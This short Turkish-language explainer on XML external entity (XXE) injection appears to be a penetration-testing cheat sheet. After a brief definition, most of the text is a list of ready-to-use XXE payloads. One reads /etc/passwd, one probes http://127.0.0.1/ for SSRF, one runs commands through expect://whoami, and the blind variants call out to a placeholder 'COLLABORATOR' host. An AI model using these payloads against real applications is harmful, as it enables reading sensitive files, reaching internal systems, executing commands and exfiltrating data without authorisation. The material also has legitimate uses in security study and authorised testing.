XML external entity injection, bir saldırganın bir uygulamanın XML verilerini işlemesine müdahale etmesine imkan tanıyan bir web güvenlik açığıdır. Genellikle bir saldırganın uygulama sunucusu dosya sistemindeki dosyaları görüntülemesine ve uygulamanın kendisinin erişebildiği herhangi bir back-end veya external sistemle etkileşime girmesine izin verir.
Bazı durumlarda saldırgan, SSRF saldırıları gerçekleştirmek için XXE güvenlik açığından yararlanarak sunucuyu veya back-end sistemleri ele geçirmek için bir XXE saldırısını kullanabilir.
Saldırı Yöntemleri
Basic XXE
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
XXE SSRF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/"> ]>
XXE RCE
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "expect://whoami"> ]>
Blind XXE
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://COLLABORATOR"> ]>
&xxe;
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://COLLABORATOR"> %xxe; ]>